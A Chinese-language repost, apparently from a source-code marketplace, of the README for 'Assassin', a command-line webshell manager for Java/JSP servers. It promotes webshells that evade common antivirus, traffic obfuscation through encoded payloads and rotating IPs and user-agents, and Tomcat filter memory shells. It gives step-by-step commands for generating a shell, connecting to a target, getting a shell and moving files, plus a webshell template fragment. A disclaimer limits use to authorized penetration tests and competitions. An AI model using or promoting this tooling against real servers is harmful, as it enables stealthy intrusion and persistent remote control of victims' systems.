Assassin

2025-12-07 0 218

Assassin

Assassin是一款精简的基于命令行的webshell管理工具,它有着多种payload发送方式和编码方式,以及精简的payload代码,使得它成为隐蔽的暗杀者,难以被很好的防御。

工具短小精悍,生成的webshell能够过常见杀软,尽量减少了连接后交互的流量特征,具体payload发送方式均可自定义。由于个人精力有限,因为懒而且菜服务端暂时仅支持Java。

声明:主要面向网络安全人员已授权的合法渗透或学生AWD等比赛使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担

特点

[1] 生成的webshell能过常见杀软(webshell模板可以自定义修改)

[2] webshell仅1kb大小,客户端与服务端同类通信仅需加载一次字节码,后续流量只传送命令。

[3] payload能够以get、post、cookie、mixed四种方式发送,可动态修改,流量迷惑性较强

[4] 客户端与服务端交互流量支持多种编码方式,可动态修改

[5] payload发送的参数名以及数量均可自定义,支持随机ip代理和user-agent

软件截图

软件类似于MSF的操作模式

发送的payload流量示例

cookie:

post:

mixed:

get:

除了cookie方式,get、post、mixed可以在已经建立连接后动态修改发送方式,无需更改服务端

请求编码:

  1. base64
  2. base36
  3. hex

响应编码:

  1. base64
  2. raw
  3. base36
  4. hex

其中响应的编码方式可以动态修改

使用教程

适用版本

服务端:jre 1.5及以上

客户端:jdk 1.8及以上

配置文件

{
  \"paramNames\": [\"user\", \"file\", \"id\", \"eid\", \"wd\", \"ie\", \"oq\", \"name\", \"son\"],
  // get、post、mixed请求参数名的随机池
  \"cookieNames\": [\"fid\", \"uuid\", \"eid\", \"home\", \"ief\", \"fl\", \"oop\"],
  // cookie请求参数名的随机池
  \"headers\":{
    \"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",
    \"Accept-Encoding\":\"gzip, deflate, br\",
    \"Accept-Language\":\"Accept-Language: zh-CN,zh;q=0.9\",
    \"Upgrade-Insecure-Requests\": \"1\"
  },
  // http头部
  \"partNum\": 3,
  // payload首次发送的分块数量
  \"argNum\": 5,
  // 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
  \"startRandomUserAgent\": false,
  // 是否随机useragent
  \"startIpAgents\": false,
  // 是否开启ip池代理模式
  \"startColor\": true
  // 是否启用命令行颜色
}

随机useragent采用./useragents.txt里的useragent,开启后每次请求都会更换useragent,一般配合ip代理使用,关闭时是每次用session命令启动一个webshell会话一个useragent。

ip代理池使用./ipagents.txt,格式为ip:posr;username:password,不需要认证的话ip:port就可以了,开启后每次请求会从中选择一个代理。

Tip:windows用户启动后乱码请关闭\”startColor\”,或者使用Windows Terminal启动

帮助信息

所有命令使用都比较简单,可以通过help命令查看参数

help [command] 查看具体命令的帮助

实例

用startup.bat或startup.sh启动

new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 

Tips:add和new命令参数比较多,中括号包裹的可选参数还可以用key=value的方式赋值

之后会弹出窗口选择保存位置

将webshell上到目标服务器

add http://192.168.*4**8.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36

show查看ID号

session 1连接webshell

看到提示符发生变化就可以执行webshell controller commands的命令了!

Assassin|java >getshell
Assassin|java|C:\\apache-tomcat-9.0.54\\bin >dir

上传文件

upload # 没参数默认传到当前目录

选择文件即可上传

download ./test.txt同理

编写webshell模板tamper

第一个部分用{@key}填充,代表 webshell密码

第二个部分用{@getvalue}填充,代表 获取请求payload的代码

第三个部分用{@decode}填充,代表 解码代码

模板如下:

String k=\"{@key}\";// aes密钥 123456 md5的前16位
String r = \"\"; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{@getvalue}
byte[] cText = {@decode};

其他主要逻辑不改,就可以成功连接。

实例

请看webshell/java/下的tomcat的filter内存马模板

下载源码

通过命令行克隆项目:

git clone https://github.com/b1ackc4t/Assassin.git

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

申明:本文由第三方发布,内容仅代表作者观点,与本网站无关。对本文以及其中全部或者部分内容的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。本网发布或转载文章出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,也不代表本网对其真实性负责。

左子网 开发教程 Assassin https://www.zuozi.net/31472.html

SapphireDb
上一篇: SapphireDb
aspLite
下一篇: aspLite
常见问题
  • 1、自动:拍下后,点击(下载)链接即可下载;2、手动:拍下后,联系卖家发放即可或者联系官方找开发者发货。
查看详情
  • 1、源码默认交易周期:手动发货商品为1-3天,并且用户付款金额将会进入平台担保直到交易完成或者3-7天即可发放,如遇纠纷无限期延长收款金额直至纠纷解决或者退款!;
查看详情
  • 1、描述:源码描述(含标题)与实际源码不一致的(例:货不对板); 2、演示:有演示站时,与实际源码小于95%一致的(但描述中有”不保证完全一样、有变化的可能性”类似显著声明的除外); 3、发货:不发货可无理由退款; 4、安装:免费提供安装服务的源码但卖家不履行的; 5、收费:价格虚标,额外收取其他费用的(但描述中有显著声明或双方交易前有商定的除外); 6、其他:如质量方面的硬性常规问题BUG等。 注:经核实符合上述任一,均支持退款,但卖家予以积极解决问题则除外。
查看详情
  • 1、左子会对双方交易的过程及交易商品的快照进行永久存档,以确保交易的真实、有效、安全! 2、左子无法对如“永久包更新”、“永久技术支持”等类似交易之后的商家承诺做担保,请买家自行鉴别; 3、在源码同时有网站演示与图片演示,且站演与图演不一致时,默认按图演作为纠纷评判依据(特别声明或有商定除外); 4、在没有”无任何正当退款依据”的前提下,商品写有”一旦售出,概不支持退款”等类似的声明,视为无效声明; 5、在未拍下前,双方在QQ上所商定的交易内容,亦可成为纠纷评判依据(商定与描述冲突时,商定为准); 6、因聊天记录可作为纠纷评判依据,故双方联系时,只与对方在左子上所留的QQ、手机号沟通,以防对方不承认自我承诺。 7、虽然交易产生纠纷的几率很小,但一定要保留如聊天记录、手机短信等这样的重要信息,以防产生纠纷时便于左子介入快速处理。
查看详情

相关文章

猜你喜欢
发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务